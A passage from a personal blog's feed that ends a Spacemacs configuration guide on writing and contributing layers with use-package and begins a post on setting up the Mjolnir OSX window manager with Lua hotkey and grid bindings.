&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-lisp&quot; data-lang=&quot;lisp&quot;&gt;&lt;span class=&quot;nv&quot;&gt;dotspacemacs-configuration-layers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;extra-langs&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;auctex&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;company-mode&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;git&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;c-c++&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;haskell&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;html&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;javascript&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ruby&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ycmd&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;smex&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;dash&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;colors&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;lua&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;trishume&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;markdown&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;finance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Yah, I use a lot of layers; you should too, they’re pretty important! You can see staples like “html” and “ruby” as well as fancier functionality ones like “company-mode”. Try looking through &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/tree/master/layers&quot;&gt;the “layers” directory&lt;/a&gt; to see all the available contributed layers and their Readme’s and source code.&lt;/p&gt;

&lt;h1 id=&quot;your-own-layers&quot;&gt;Your Own Layers!&lt;/h1&gt;

&lt;p&gt;You too could be the author of your very own layer! In fact, you’ll likely find you want to after you have used Spacemacs for a while. The most important purpose of layers is adding &lt;a href=&quot;http://melpa.org/&quot;&gt;MELPA&lt;/a&gt; packages and the configuration and keybindings for them. &lt;strong&gt;Don’t&lt;/strong&gt; try and just install packages with the default Emacs package manager like the internet might tell you to do!&lt;/p&gt;

&lt;p&gt;If you want to install a package you found online, like &lt;a href=&quot;http://melpa.org/#/2048-game&quot;&gt;2048-game&lt;/a&gt;, you’ll want to create a layer that includes the package and sets it up. Another option for small things is to add the package to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dotspacemacs-additional-packages&lt;/code&gt; list. There are a couple of places you can put this layer, which is really just a folder with some emacs lisp files:&lt;/p&gt;

&lt;h2 id=&quot;the-private-directory&quot;&gt;The “private” Directory&lt;/h2&gt;

&lt;p&gt;This is a folder in the main Spacemacs directory where you can put configuration layers for your own personal use.
You can create a template layer in this directory using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;SPC&amp;gt; : configuration-layer/create-layer RET&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The descriptive comments in the template &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;packages.el&lt;/code&gt; do a pretty good job of explaining what to do. Basically you add the package you want to include to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yourlayernamehere-packages&lt;/code&gt; list and then create &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yourlayernamehere-init-yourpackagenamehere&lt;/code&gt; functions where you use &lt;a href=&quot;https://github.com/jwiegley/use-package&quot;&gt;use-package&lt;/a&gt; to load the package and set it up. Take a look at &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/tree/master/layers/%2Btools/finance&quot;&gt;existing layers&lt;/a&gt; for examples of how to set up packages and keybindings.&lt;/p&gt;

&lt;p&gt;Once you have written a layer &lt;strong&gt;you have to load it in .spacemacs&lt;/strong&gt; just like any other layer. Add your layer’s name to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dotspacemacs-configuration-layers&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;dotspacemacs-configuration-layer-path&quot;&gt;dotspacemacs-configuration-layer-path&lt;/h2&gt;

&lt;p&gt;If you want to keep your layers in a git repository or Dropbox sync or some other folder, you can use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dotspacemacs-configuration-layer-path&lt;/code&gt; variable in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.spacemacs&lt;/code&gt; to set another folder where you can load layers from. Then you can just copy the layer directory that Spacemacs puts in the private directory into this directory and Spacemacs will be able to load it from there.&lt;/p&gt;

&lt;h2 id=&quot;the-contrib-directory&quot;&gt;The “contrib” Directory&lt;/h2&gt;

&lt;p&gt;If you are adding some awesome new functionality to Spacemacs, which you probably are, you should seriously consider contributing it back. This is how Spacemacs has grown into the awesome distribution that it is. Don’t worry about people finding it hacky or not useful, we won’t mind and might even help you make it better.&lt;/p&gt;

&lt;p&gt;This is what I do, I’m proud to say that I only have 1 private layer, &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/tree/064a598bff56f7cef1ac2ddf1c43684357dde56a/contrib/company-mode&quot;&gt;every&lt;/a&gt; &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/tree/064a598bff56f7cef1ac2ddf1c43684357dde56a/contrib/lang/extra-langs&quot;&gt;other&lt;/a&gt; &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/tree/064a598bff56f7cef1ac2ddf1c43684357dde56a/contrib/ycmd&quot;&gt;layer&lt;/a&gt; &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/tree/064a598bff56f7cef1ac2ddf1c43684357dde56a/contrib/auctex&quot;&gt;I’ve&lt;/a&gt; &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/tree/064a598bff56f7cef1ac2ddf1c43684357dde56a/contrib/ranger-control&quot;&gt;written&lt;/a&gt; has been contributed back to Spacemacs. It’s as simple as forking Spacemacs, adding your layer to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;contrib&lt;/code&gt; and submitting a Github pull request.&lt;/p&gt;

&lt;h2 id=&quot;tips-for-writing-layers&quot;&gt;Tips For Writing Layers&lt;/h2&gt;

&lt;p&gt;There’s a couple things that are nice to know when writing layers. The most important thing to know is some of the features of &lt;a href=&quot;https://github.com/jwiegley/use-package&quot;&gt;use-package&lt;/a&gt;. You use this in the init functions in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;packages.el&lt;/code&gt; to load the package and set it up. The function takes a package name and some attributes containing things like functions to run on load. You use use-package &lt;strong&gt;instead of&lt;/strong&gt; doing whatever loading step the package readme tells you to do, generally you don’t include things like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(require &apos;blah)&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;basic-format&quot;&gt;Basic Format&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-lisp&quot; data-lang=&quot;lisp&quot;&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;defun&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;finance/init-ledger-mode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;use-package&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ledger-mode&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;; Use :mode to set language modes to automatically activate on certain extensions&lt;/span&gt;
    &lt;span class=&quot;ss&quot;&gt;:mode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;\\.\\(ledger\\|ldg\\)\\&apos;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ledger-mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;; :defer t activates lazy loading which makes startup faster&lt;/span&gt;
    &lt;span class=&quot;ss&quot;&gt;:defer&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;t&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;; The code in :init is always run, use it to set up config vars and key bindings&lt;/span&gt;
    &lt;span class=&quot;ss&quot;&gt;:init&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;progn&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; :init only takes one expression so use &quot;progn&quot; to combine multiple things&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;; You can configure package variables here&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;setq&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ledger-post-amount-alignment-column&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;62&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;; Using evil-leader/set-key-for-mode adds bindings under SPC for a certain mode&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;; Use evil-leader/set-key to create global SPC bindings&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;evil-leader/set-key-for-mode&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;&apos;ledger-mode&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;mhd&quot;&lt;/span&gt;   &lt;span class=&quot;ss&quot;&gt;&apos;ledger-delete-current-transaction&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;m RET&quot;&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;&apos;ledger-set-month&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;ss&quot;&gt;:config&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; :config is called after the package is actually loaded with defer&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;; You can put stuff that relies on the package like function calls here&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;message&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Ledger mode was actually loaded!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;things-that-arent-packages&quot;&gt;Things that aren’t packages&lt;/h3&gt;

&lt;p&gt;If you want to bundle up some snippet or config that isn’t related to a package you can use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.el&lt;/code&gt;
file in the layer. In here you can just put Emacs Lisp code and functions that will be evaluated when a layer is loaded.&lt;/p&gt;

&lt;h3 id=&quot;dependencies&quot;&gt;Dependencies&lt;/h3&gt;

&lt;p&gt;Sometimes you want to hook something in your layer into another package. This is most common for making sure your alayer works well with default packages like smartparens. To do this you’ll want to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval-after-load&lt;/code&gt;. &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/blob/064a598bff56f7cef1ac2ddf1c43684357dde56a/contrib/ansible/packages.el#L24&quot;&gt;Here’s an example&lt;/a&gt; of a package adding extra functionality to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yaml-mode&lt;/code&gt;.&lt;/p&gt;

&lt;h1 id=&quot;other-information&quot;&gt;Other Information&lt;/h1&gt;

&lt;p&gt;This guide hopefully gave you enough info to get started, but there’s so much more to Spacemacs that isn’t here. There’s a bunch of other sources of information that you should look at if you can’t find what you want:&lt;/p&gt;

&lt;h2 id=&quot;the-gitter-chat&quot;&gt;The Gitter Chat&lt;/h2&gt;

&lt;p&gt;Please visit the &lt;a href=&quot;https://gitter.im/syl20bnr/spacemacs&quot;&gt;Gitter chat room&lt;/a&gt; if you have any questions about configuring or using Spacemacs that you can’t figure out, or just come to chat with other Spacemacs users. There’s always tons of knowledgeable people there, including the awesome maintainer @syl20bnr, who will help you out.&lt;/p&gt;

&lt;h2 id=&quot;the-documentation&quot;&gt;The Documentation&lt;/h2&gt;

&lt;p&gt;Most of these layer concepts and mechanics are explained in depth in the massive &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/blob/master/doc/DOCUMENTATION.org&quot;&gt;Documentation&lt;/a&gt;. It also has information on lots of the functionality available in Spacemacs.&lt;/p&gt;

&lt;h2 id=&quot;the-source-code&quot;&gt;The Source Code!&lt;/h2&gt;

&lt;p&gt;If you want deep insight into the workings of Spacemacs you should really take a look at the &lt;a href=&quot;https://github.com/syl20bnr/spacemacs&quot;&gt;source code&lt;/a&gt; on Github. The main difference between me and the average Spacemacs user is that I have read lots of the source and thus I know a lot about how Spacemacs works. I swear it’s really not that complicated, you’ll discover that most of Spacemacs is actually just the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spacemacs&lt;/code&gt; layer which is just like any other configuration layer except it is included by default. You can also read the code for the contrib layers for ideas, although the techniques these use might be less consistent since they were written by lots of differnt people, many of them newbies. For a good start I recommend skimming through this &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/blob/master/layers/%2Bdistributions/spacemacs-base/packages.el&quot;&gt;packages.el&lt;/a&gt; file. You can also use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SPC h SPC&lt;/code&gt; to search for layers and hit enter to visit their source.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;I hope this helped you on your way to become a Spacemacs power-user. This guide was rather specific to configuration but I plan on maybe writing other tutorials on basic use and other tips. Don’t forget to say hi to me and all the other awesome Spacemacs people in the &lt;a href=&quot;https://gitter.im/syl20bnr/spacemacs&quot;&gt;Gitter chat&lt;/a&gt;, we always love hearing from other Spacemacs users!&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Using Mjolnir: An Extensible OSX Window Manager</title>
   <link href="https://thume.ca/howto/2014/12/02/using-mjolnir-an-extensible-osx-window-manager/"/>
   <updated>2014-12-02T00:00:00+00:00</updated>
   <id>https://thume.ca/howto/2014/12/02/using-mjolnir-an-extensible-osx-window-manager</id>
   <content type="html">
&lt;p&gt;&lt;strong&gt;Edit: I am now using &lt;a href=&quot;http://www.hammerspoon.org/&quot;&gt;Hammerspoon&lt;/a&gt; which is a fork of Mjolnir that is basically the same except it comes with the modules (no luarocks), it’s under active development and the naming is slightly different and more consistent. Most of this article still applies.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Recently I started using the amazing and highly configurable window manager called &lt;a href=&quot;http://mjolnir.io/&quot;&gt;Mjolnir&lt;/a&gt;.
But really it isn’t a window manager, it’s an OSX wrapper around a Lua configuration file and event loop that
has a constellation of modules that allow you to configure all sorts of computer control tasks. The most common use
for Mjolnir is managing Windows but there are all sorts of modules that allow you to use it for doing things like
&lt;a href=&quot;https://github.com/asmagill/mjolnir-config/blob/master/utils/_actions/battery_usbdrives.lua&quot;&gt;unmounting your USB drives when you switch to battery power&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Two years ago I wrote a blog post about &lt;a href=&quot;/howto/2012/11/19/using-slate/&quot;&gt;configuring Slate&lt;/a&gt;, the configurable window manager
that I had been using until this month. However, the maintainer hasn’t worked on Slate in years and there are dozens of pull requests sitting around without merge and comment. There have been &lt;a href=&quot;https://github.com/mattr-/slate&quot;&gt;attempts&lt;/a&gt; to revive it,
but there were still some rough edges and I decided to try something new.&lt;/p&gt;

&lt;p&gt;Here I’ll describe how I use Mjolnir and my experience with it so far.&lt;/p&gt;

&lt;h2 id=&quot;getting-started&quot;&gt;Getting Started&lt;/h2&gt;

&lt;p&gt;The instructions on &lt;a href=&quot;http://mjolnir.io/&quot;&gt;Mjolnir’s homepage&lt;/a&gt; are pretty good as far as getting Mjolnir installed goes.
You’ll need to get luarocks working and then create an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;init.lua&lt;/code&gt; file, which isn’t very hard.
The basic install you get can’t do much so you’ll have to use some of the many &lt;a href=&quot;https://rocks.moonscript.org/search?q=mjolnir&quot;&gt;Mjolnir modules&lt;/a&gt;.
Before you use a module you have to install it first, to install &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mjolnir.hotkey&lt;/code&gt; you would run&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;luarocks install mjolnir.hotkey
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;window-management&quot;&gt;Window Management&lt;/h2&gt;

&lt;p&gt;Mjolnir makes managing windows really easy with great modules to help you with this most of which are built upon the basic
functionality found in &lt;a href=&quot;https://rocks.moonscript.org/modules/sdegutis/mjolnir.application&quot;&gt;mjolnir.application&lt;/a&gt;.
That module provides basic access to running applications and their windows, which modules like
&lt;a href=&quot;https://github.com/BrianGilbert/mjolnir.bg.grid&quot;&gt;mjolnir.bg.grid&lt;/a&gt; use to provide things like the ability
to move windows around and resize on a grid. There are even fancier modules like
&lt;a href=&quot;https://github.com/nathankot/mjolnir.tiling&quot;&gt;mjolnir.tiling&lt;/a&gt; which automatically organize your windows
like a fancy Linux tiling window manager would do.&lt;/p&gt;

&lt;h3 id=&quot;basic-key-bindings&quot;&gt;Basic Key Bindings&lt;/h3&gt;

&lt;p&gt;Generally the way you want to start is by binding actions (really just Lua functions) to keys using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mjolnir.hotkey&lt;/code&gt;.
Here’s an example from the Mjolnir homepage of binding a key that just nudges a window right:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;&lt;span class=&quot;n&quot;&gt;hotkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;alt&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ctrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;D&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;win&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;focusedwindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frame&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setframe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Since it’s just Lua code you can also just directly pass function names and use variables to refer to common chords:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ctrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;shift&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;hotkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mjolnir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;openconsole&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;using-a-grid&quot;&gt;Using a Grid&lt;/h3&gt;

&lt;p&gt;Personally I found the easiest way of doing window management was to use the &lt;a href=&quot;https://github.com/BrianGilbert/mjolnir.bg.grid&quot;&gt;mjolnir.bg.grid&lt;/a&gt; module. It provides functions that allow you to shuffle windows around a grid of a configurable number of rows and
columns (3x3 by default). Here’s an example of some basic bindings inspired by &lt;a href=&quot;https://github.com/vpetro/dotfiles/blob/master/.mjolnir/init.lua&quot;&gt;this config&lt;/a&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mjolnir.sd.grid&quot;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hotkey&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mjolnir.hotkey&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MARGINX&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MARGINY&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GRIDWIDTH&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GRIDHEIGHT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;-- a helper function that returns another function that resizes the current window&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- to a certain grid size.&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gridset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cur_window&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;focusedwindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;cur_window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;cur_window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;screen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ctrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;shift&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
